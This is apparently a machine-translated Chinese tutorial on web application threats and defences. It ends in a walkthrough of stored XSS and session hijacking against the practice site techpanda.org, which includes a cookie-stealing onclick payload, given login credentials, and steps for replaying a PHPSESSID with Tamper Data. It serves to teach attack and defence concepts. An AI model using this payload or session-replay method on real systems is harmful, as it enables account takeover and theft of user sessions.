Web應(yīng)用程序(aka網(wǎng)站)是基于客戶端 - 服務(wù)器模型的應(yīng)用程序。服務(wù)器提供數(shù)據(jù)庫(kù)訪問(wèn)和業(yè)務(wù)邏輯。它托管在Web服務(wù)器上。客戶端應(yīng)用程序在客戶端Web瀏覽器上運(yùn)行。Web應(yīng)用程序通常用Java,C#和VB.Net,PHP,ColdFusion標(biāo)記語(yǔ)言等語(yǔ)言編寫.Web應(yīng)用程序中使用的數(shù)據(jù)庫(kù)引擎包括MySQL,MS SQL Server,PostgreSQL,SQLite等。
大多數(shù)Web應(yīng)用程序都托管在可通過(guò)Internet訪問(wèn)的公共服務(wù)器上。這使得它們易于訪問(wèn),因此容易受到攻擊。以下是常見(jiàn)的Web應(yīng)用程序威脅。
- SQL注入 - 此威脅的目標(biāo)可能是繞過(guò)登錄算法,破壞數(shù)據(jù)等。人話:走后門
- 拒絕服務(wù)攻擊 - 此威脅的目標(biāo)可能是拒絕合法用戶訪問(wèn)資源。人話:堵門
- 跨站點(diǎn)腳本XSS - 此威脅的目標(biāo)可能是注入可在客戶端瀏覽器上執(zhí)行的代碼。
- Cookie /會(huì)話中毒 - 此威脅的目標(biāo)是通過(guò)攻擊者修改Cookie /會(huì)話數(shù)據(jù)以獲取未經(jīng)授權(quán)的訪問(wèn)權(quán)限。
- 表格篡改 - 此威脅的目標(biāo)是修改表單數(shù)據(jù),例如電子商務(wù)應(yīng)用程序中的價(jià)格,以便攻擊者可以以較低的價(jià)格獲得物品。
- 代碼注入 - 此威脅的目標(biāo)是注入可在服務(wù)器上執(zhí)行的PHP,Python等代碼。代碼可以安裝后門,泄露敏感信息等。
- 破壞 - 此威脅的目標(biāo)是修改網(wǎng)站上顯示的頁(yè)面,并將所有頁(yè)面請(qǐng)求重定向到包含攻擊者消息的單個(gè)頁(yè)面。
接下來(lái)我們?cè)撊绾伪Wo(hù)您的網(wǎng)站免受黑客攻擊?
組織可以采用以下策略來(lái)保護(hù)自己免受Web服務(wù)器攻擊。
- SQL注入 - 在將用戶參數(shù)提交到數(shù)據(jù)庫(kù)進(jìn)行處理之前清理和驗(yàn)證用戶參數(shù)有助于降低通過(guò)SQL注入攻擊的可能性。MS SQL Server,MySQL等數(shù)據(jù)庫(kù)引擎支持參數(shù)和預(yù)處理語(yǔ)句。它們比傳統(tǒng)的SQL語(yǔ)句更安全
- 拒絕服務(wù)攻擊 -如果攻擊是簡(jiǎn)單的DoS,則可以使用防火墻從可疑IP地址中刪除流量。正確配置網(wǎng)絡(luò)和入侵檢測(cè)系統(tǒng)還有助于降低DoS攻擊成功的可能性。
- 跨站點(diǎn)腳本 -驗(yàn)證和清理標(biāo)頭,通過(guò)URL傳遞的參數(shù),表單參數(shù)和隱藏值可以幫助減少XSS攻擊。
- Cookie /會(huì)話中毒 - 可以通過(guò)加密Cookie的內(nèi)容,在一段時(shí)間后將Cookie超時(shí),將Cookie與用于創(chuàng)建Cookie的客戶端IP地址相關(guān)聯(lián)來(lái)防止這種情況。
- 表單回火 -這可以通過(guò)在處理之前驗(yàn)證和驗(yàn)證用戶輸入來(lái)防止。
- 代碼注入 -可以通過(guò)將所有參數(shù)視為數(shù)據(jù)而不是可執(zhí)行代碼來(lái)防止這種情況。可以使用清理和驗(yàn)證來(lái)實(shí)現(xiàn)此目的。
- 破壞 -一個(gè)好的Web應(yīng)用程序開發(fā)安全策略應(yīng)該確保它密封常用的漏洞來(lái)訪問(wèn)Web服務(wù)器。在開發(fā)Web應(yīng)用程序時(shí),這可以是操作系統(tǒng),Web服務(wù)器軟件和最佳安全實(shí)踐的正確配置。
最后我們來(lái)破解網(wǎng)站
我們將劫持位于www.techpanda.org的Web應(yīng)用程序的用戶會(huì)話。我們將使用跨站點(diǎn)腳本來(lái)讀取cookie會(huì)話ID,然后使用它來(lái)模擬合法的用戶會(huì)話。
假設(shè)是攻擊者可以訪問(wèn)Web應(yīng)用程序,并且他想劫持使用相同應(yīng)用程序的其他用戶的會(huì)話。假設(shè)攻擊者的訪問(wèn)帳戶是有限的,攻擊的目標(biāo)可能是獲取對(duì)Web應(yīng)用程序的管理員訪問(wèn)權(quán)限。
入門
- 打開http://www.techpanda.org/
- 出于實(shí)踐目的,強(qiáng)烈建議使用SQL注入獲取訪問(wèn)權(quán)限。
- 登錄電子郵件是admin@google.com,密碼是Password2010
- 如果您已成功登錄,那么您將獲得以下儀表板
- 單擊“添加新聯(lián)系人”
- 輸入以下作為名字
- <a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">小莫</a>
這里,上面的代碼使用JavaScript。它添加了一個(gè)帶onclick事件的超鏈接。當(dāng)毫無(wú)戒心的用戶單擊該鏈接時(shí),該事件將檢索PHP cookie會(huì)話ID并將其與URL中的會(huì)話ID一起發(fā)送到snatch_sess_id.php頁(yè)面
輸入其余詳細(xì)信息,如下所示
- 單擊“保存更改”
- 您的儀表板現(xiàn)在看起來(lái)像以下屏幕
- 由于跨站點(diǎn)腳本代碼存儲(chǔ)在數(shù)據(jù)庫(kù)中,因此每次具有訪問(wèn)權(quán)限的用戶登錄時(shí)都會(huì)加載它
- 假設(shè)管理員登錄并點(diǎn)擊顯示為Dark的超鏈接
- 他/她將獲得URL中顯示會(huì)話ID的窗口注意:腳本可能會(huì)將值發(fā)送到存儲(chǔ)PHPSESSID的某個(gè)遠(yuǎn)程服務(wù)器,然后用戶重定向回網(wǎng)站,就好像什么都沒(méi)發(fā)生一樣。
注意:您獲得的值可能與本教程中的值不同,但概念是相同的
使用Firefox和Tamper Data插件進(jìn)行會(huì)話模擬
下面的流程圖顯示了完成此練習(xí)必須采取的步驟。
您將需要此部分的Firefox Web瀏覽器和Tamper Data插件
- 打開Firefox并安裝add,如下圖所
- 搜索篡改數(shù)據(jù),然后單擊安裝,如上所示
- 單擊接受并安裝..
- 安裝完成后,單擊立即重新啟動(dòng)
- 如果未顯示,請(qǐng)?jiān)贔irefox中啟用菜單欄
- 單擊工具菜單,然后選擇防篡改數(shù)據(jù),如下所示
- 您將獲得以下窗口。注意:如果Windows不為空,請(qǐng)點(diǎn)擊清除按鈕
- 單擊“開始篡改”菜單
- 切換回Firefox Web瀏覽器,輸入http://www.techpanda.org/dashboard.php,然后按回車鍵加載頁(yè)面
- 您將從Tamper Data中彈出以下內(nèi)容
- 彈出窗口有三(3)個(gè)選項(xiàng)。“篡改”選項(xiàng)允許您在將HTTP標(biāo)頭信息提交到服務(wù)器之前修改它。
- 點(diǎn)擊它
- 您將看到以下窗口
- 復(fù)制從攻擊URL復(fù)制的PHP會(huì)話ID,并在等號(hào)后粘貼它。你的價(jià)值現(xiàn)在應(yīng)該是這樣的
- PHPSESSID = 2DVLTIPP2N8LDBN11B2RA76LM2
- 單擊“確定”按鈕
- 您將再次獲得Tamper數(shù)據(jù)彈出窗口
- 取消選中要求繼續(xù)篡改的復(fù)選框?
- 完成后單擊“提交”按鈕
- 您應(yīng)該能夠看到儀表板,如下所示注意
- :我們沒(méi)有登錄,我們使用我們使用跨站點(diǎn)腳本檢索的PHPSESSID值來(lái)模擬登錄會(huì)話





















